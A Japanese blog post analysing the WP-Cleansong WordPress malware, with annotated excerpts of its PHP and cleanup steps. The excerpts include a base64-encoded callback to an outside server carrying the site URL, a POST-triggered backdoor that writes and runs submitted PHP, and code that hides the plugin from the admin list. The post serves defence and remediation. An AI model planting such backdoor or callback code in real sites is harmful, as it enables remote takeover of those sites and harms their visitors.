Wordpressを改ざんするマルウェアWP-Cleansongを解析してみた

https://www.studytech.co.jp/wordpress%e3%81%ae%e6%94%b9%e3%81%96%e3%82%93%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%e3%81%ab%e3%81%94%e6%b3%a8%e6%84%8f%e3%81%8f%e3%81%a0%e3%81%95%e3%81%84/

上記で注意喚起していますが、技術的内容は書いていないのでもう少し中身を書きます。
概要だけ確認したい方は上記サイトをご確認ください。

## 現象
Wordpressのサイトにアクセスすると、フィッシングサイトやマルウェアサイトにリダイレクトされる

ブラウザの開発者モードで見てみるとxxx.bestresulttostart.comというサイトのjavascriptが実行されている。

※後述するがこの現象は変化するものと思われる。メカニズム的に任意の悪意のある動作が可能と思われる

## Wordpress上での確認

- Wordpressの管理画面で怪しいユーザーが追加されている
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/666388/9a19ca14-db26-93e7-ba8c-35034d6f64c3.png)


- プラグイン画面では怪しいプラグインはいないが
FTP上ではpluginsフォルダに怪しいwp-cleansongというやつがいる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/666388/9d758cc8-f04d-c93a-8733-92a72c9ff781.png)

# wp-cleansongの中身を見てみる

1200行くらいあるのだが、無害なコードの後ろに500行くらい空行を入れた後ろに悪意のあるコードを入れるという、いやらしい隠し方をしている。
以下は悪意のあると思しき部分の抜粋。(日本語コメントは私の追加)
```php
//wp-cleansong.php

/* plane(後述)をinclude*/
function cleans_ajax(){
	$my_plugin = WP_PLUGIN_DIR . '/wp-cleansong';
	if ( file_exists( $my_plugin . "/plane.php" ) ) {
	  include($my_plugin . "/plane.php");
	}
}

/* POSTでd43パラメータの値がp31だったらp31をMD5したものを返す。*/
/* これをもって感染しているサイトをクロールしているのだと思う */
add_action('init', 'cleans_ajax');
function cleans_ajax_get(){
	if(isset($_POST['d43'])){
		if($_POST['d43']=="p31"){
			die(md5('p31'));	
		}
	}
}

/* 悪意のあるコードをヘッダに追加 */
function clean_header(){
	?>
	<script type='text/javascript'>(function(_0x3a4aa1,_0x45511f){function _0x4c0a9d(_0x2c492e,_0x22928f,_0x59a2c3,_0x228c0b,_0x571513){
 /* 難読化されたコードが続く */
    </script>
	<?php
}
add_action('wp_head', 'clean_header');

//snip

function clean_plugin_activate() {
$b = "base64_decode";
        $z="file_get_contents";
        // base64エンコードされた悪意のあるURLからファイルをダウンロード
        // デコードされたURLは一応記載は控えておきます
        $ur=base64_decode("aHR0cHM6Ly9kbnMuc3RhcnRzZXJ2aWNlZm91bmRzLmNvbS9zZXJ2aWNlL2YucGhw");         $z($ur."?p=".get_site_url());
}
function clean_inc(){
	$my_plugin = WP_PLUGIN_DIR . '/wp-cleansong';
    /* 悪意のあると思しきコードをincludeしてすぐに削除。 */
	if ( file_exists( $my_plugin . "/songs.php" ) ) {
	  include($my_plugin . "/songs.php");
	  @unlink($my_plugin . "/songs.php");
	}

	if ( file_exists( $my_plugin . "/cleans.php" ) ) {
	  include($my_plugin . "/cleans.php");
	  @unlink($my_plugin . "/cleans.php");
	}
}
function clean_show(){
		global $wp_list_table;
    /* WordPressのプラグイン一覧から自らを秘匿 */
	$hidearr = array('wp-cleansong/wp-cleansong.php');
	$myplugins = $wp_list_table->items;
	foreach ($myplugins as $key => $val) {
	if (in_array($key,$hidearr)) {
		unset($wp_list_table->items[$key]);
		}
	}
}
```
```php
//plane.php

<?php
if ( ! defined( 'ABSPATH' ) ) {
        exit; // Exit if accessed directly
    }
/* song1というパラメータでマルウェアのヘルスチェック*/
if(isset($_GET['song1'])){
        die(md5('song'));
}
/* song2 というパラメータで怪しい動きをする*/
if(isset($_POST['song2'])){
      /* (ランダム).cssファイルが作成され、その中に"css"と記載*/
      $l1 = uniqid(rand(), true) . '.css';
      @file_put_contents($l1, 'css');
      if(file_exists($l1)){
        /* stars1というパラメータが来た場合特定の値を一致するかチェック*/
        if(isset($_POST['stars1'])){
                $d = md5(md5($_POST['stars1']));
                if($d=="b2d5605e835f3e18d50380b90786c032"){
                        /* 💀stars2パラメータの内容をphpファイルとして書き込み。実行後削除 */
                        $d1=$_POST['stars2'];
                        $d1=base64_decode($d1);
                        @file_put_contents($l1, '<'.'?'.'p'.'hp '. $d1);
                        @include($l1);
                        @file_put_contents($l1, 'css');
                        @unlink($l1);
                        die();
                }
        }
      }
}
```
なんとなくの動きとしては
- プラグインとして入り込むが、プラグイン一覧にはでないように自らを隠す
- 感染していると特定のシグナルを送られた時に返事を返す(これにより感染サイトのクロールが可能)
- 外部からPHPコードを読み込んでサイトに仕込む

仕込まれるPHPコードは外部から仕込まれるので、実際に発生する現象は恐らく変化するものと思われます。
かつ、かなり自由にほぼなんでもできてしまうと思うので
現在確認されている現象である、悪意のあるサイトにリダイレクトされるくらいならばかわいいものです。

## ネットでbestresulttostartやwp-cleansongについて調査

https://www.reddit.com/r/Wordpress/comments/1balppf/wpcleansong/?rdt=50007

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/litespeed-cache/litespeed-cache-57-reflected-cross-site-scripting-via-nameservers-and-msg

~~記事執筆時点3/14ではCVEE未付与(Reserved)~~ CVE-2023-40000が付与されました
https://www.cve.org/CVERecord?id=CVE-2023-40000

まとめると
1. LightSpeedの脆弱性を利用してwp-cleansongがインストールされる
2. wp-cleansongが管理者ユーザーを作る
3. 管理者ユーザー権限でWPのファイルを改ざんする(この改ざん対象のファイルは恐らくWP-Cleansongから呼んでいるC＆Cサーバチックな内容により変化するものと思われる)
4. 改ざんされたWPのファイルが外部のjavascriptを読み込む
5. 外部のjavascriptが悪さする(今は悪意のあるサイトへのリダイレクトだが、この悪さも動的に変化させることが可能と思われる)

## 予防法と対処法

予防法はLightSpeedのバージョンアップと自動更新の設定だが、
対処法は現時点ではwp-cleansongの直接削除と改ざんされたファイルの修正しかないと思われる。
行った手順は
- Lightspeedをとりあえず止める(いきなりバージョンアップしてもよいと思うが、どう影響するかわからないので)
- pluginsフォルダ内のWP-cleansongを削除(一応ソース解析のため削除前にダウンロードはしています)
- wordpress純正のファイルと全ファイル差分を取り、差分のあったphpファイルをロールバック。"今回の場合は"wp-blog-header.phpをロールバック

そして、改ざん方法がいやらしい。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/666388/daae133b-3afe-6cfa-1b05-b7edbb59691a.png)
一見差分がないように見えるが、マーク行の;の後ろに空白がめちゃくちゃはいっててその後ろにマルウェアコードが入ってた

また、当方の環境の場合マルチドメイン設定で、同環境に複数のWordpressが入っていて
感染したのは1環境のみで、他の環境はplugin対策や自動バージョンアップもきちんと設定していたものの
改ざんが発生したのは全環境に対して改ざんが走った。
恐らくパス関係なくファイル名で検索して改ざんをかけに行くのだろう

またこのファイル名もWP-cleansong内には直接見当たらないので、おそらくWP-cleansong内にbase64で記載されているURLの内容によって変化してくるのではないかと推察する。
であるので上記のwp-blog-header.phpも「本ケースの場合は」と但し書きがつくものと思われる。